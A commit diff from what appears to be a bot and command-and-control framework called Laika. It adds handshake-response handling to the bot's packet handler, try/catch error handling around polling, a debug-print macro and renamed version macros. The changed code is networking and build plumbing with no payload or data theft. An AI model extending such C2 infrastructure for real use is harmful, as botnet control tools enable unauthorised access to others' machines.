Protected handler calls in bot.c

- Added support for LAIKAPKT_HANDSHAKE_RES

bot/CMakeLists.txt

@@ -5,7 +5,7 @@ set(CMAKE_C_STANDARD_REQUIRED ON)
 
 set(BOT_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include)
 
-project(LaikaBot VERSION 1.0)
+project(LaikaBot VERSION ${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR})
 
 # Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder
 set_property(GLOBAL PROPERTY USE_FOLDERS ON)

bot/src/bot.c

@@ -7,7 +7,15 @@ size_t laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = {
 };
 
 void laikaB_pktHandler(struct sLaika_peer *peer, uint8_t id, void *uData) {
-    printf("got %d packet id!\n", id);
+    switch (id) {
+        case LAIKAPKT_HANDSHAKE_RES: {
+            uint8_t endianness = laikaS_readByte(&peer->sock);
+            peer->sock.flipEndian = endianness != laikaS_isBigEndian();
+            break;
+        }
+        default:
+            LAIKA_ERROR("unknown packet id [%d]\n", id);
+    }
 }
 
 struct sLaika_bot *laikaB_newBot(void) {
@@ -42,8 +50,8 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
     /* queue handshake request */
     laikaS_writeByte(sock, LAIKAPKT_HANDSHAKE_REQ);
     laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN);
-    laikaS_writeByte(sock, LIB_VERSION_MAJOR);
+    laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
-    laikaS_writeByte(sock, LIB_VERSION_MINOR);
+    laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
 
     if (!laikaS_handlePeerOut(bot->peer))
         LAIKA_ERROR("failed to send handshake request!\n")
@@ -58,16 +66,19 @@ bool laikaB_poll(struct sLaika_bot *bot, int timeout) {
     if (numEvents == 0) /* no events? timeout was reached */
         return false;
 
+LAIKA_TRY
     if (evnt->pollIn && !laikaS_handlePeerIn(bot->peer))
         goto _BKill;
 
     if (evnt->pollOut && !laikaS_handlePeerOut(bot->peer))
         goto _BKill;
 
-    if (!evnt->pollIn && !evnt->pollOut) {
+    if (!evnt->pollIn && !evnt->pollOut)
+        goto _BKill;
+LAIKA_CATCH
 _BKill:
     laikaS_kill(&bot->peer->sock);
-    }
+LAIKA_TRYEND
 
     return true;
 }

bot/src/main.c

@@ -16,6 +16,7 @@ int main(int argv, char **argc) {
         }
     }
 
+    laikaB_freeBot(bot);
     printf("bot killed\n");
     return 0;
 }

cnc/CMakeLists.txt

@@ -5,7 +5,7 @@ set(CMAKE_C_STANDARD_REQUIRED ON)
 
 set(CNC_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include)
 
-project(LaikaCNC VERSION 1.0)
+project(LaikaCNC VERSION ${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR})
 
 # Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder
 set_property(GLOBAL PROPERTY USE_FOLDERS ON)

cnc/src/main.c

@@ -7,10 +7,11 @@ int main(int argv, char **argc) {
 
     while (true) {
         if (!laikaC_pollPeers(cnc, 1000)) {
-            printf("no events!\n");
+            LAIKA_DEBUG("no events!\n");
         }
     }
 
-    printf("cnc killed\n");
+    laikaC_freeCNC(cnc);
+    LAIKA_DEBUG("cnc killed\n");
     return 0;
 }

lib/CMakeLists.txt

@@ -6,10 +6,10 @@ set(CMAKE_C_STANDARD_REQUIRED ON)
 set(LIB_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include)
 
 # version details
-set(LIB_VERSION_MAJOR 0)
+set(LAIKA_VERSION_MAJOR 0)
-set(LIB_VERSION_MINOR 0)
+set(LAIKA_VERSION_MINOR 0)
 
-project(LaikaLib VERSION ${LIB_VERSION_MAJOR}.${LIB_VERSION_MINOR})
+project(LaikaLib VERSION ${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR})
 
 # Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder
 set_property(GLOBAL PROPERTY USE_FOLDERS ON)
@@ -19,10 +19,10 @@ file(GLOB_RECURSE LIBSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
 add_library(LaikaLib STATIC ${LIBSOURCE})
 
 # add the version definitions and the 'DEBUG' preprocessor definition if we're compiling as Debug
-target_compile_definitions(LaikaLib PUBLIC LIB_VERSION_MAJOR=${LIB_VERSION_MAJOR} LIB_VERSION_MINOR=${LIB_VERSION_MINOR} "$<$<CONFIG:Debug>:DEBUG>")
+target_compile_definitions(LaikaLib PUBLIC LAIKA_VERSION_MAJOR=${LAIKA_VERSION_MAJOR} LAIKA_VERSION_MINOR=${LAIKA_VERSION_MINOR} "$<$<CONFIG:Debug>:DEBUG>")
 
 # add include directory
 target_include_directories(LaikaLib PUBLIC ${LIB_INCLUDEDIR})
 
 # set library name
-set_target_properties(LaikaLib PROPERTIES OUTPUT_NAME laika-${LIB_VERSION_MAJOR}.${LIB_VERSION_MINOR})
+set_target_properties(LaikaLib PROPERTIES OUTPUT_NAME laika-${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR})

lib/include/laika.h

@@ -10,13 +10,19 @@
 
 #define ARRAY_START 4
 
+#ifdef DEBUG
+#define LAIKA_DEBUG(...) printf(__VA_ARGS__);
+#else
+#define LAIKA_DEBUG(...)
+#endif
+
 /* for intellisense */
-#ifndef LIB_VERSION_MAJOR
+#ifndef LAIKA_VERSION_MAJOR
-#define LIB_VERSION_MAJOR 0
+#define LAIKA_VERSION_MAJOR 0
 #endif
 
-#ifndef LIB_VERSION_MINOR
+#ifndef LAIKA_VERSION_MINOR
-#define LIB_VERSION_MINOR 0
+#define LAIKA_VERSION_MINOR 0
 #endif
 
 #endif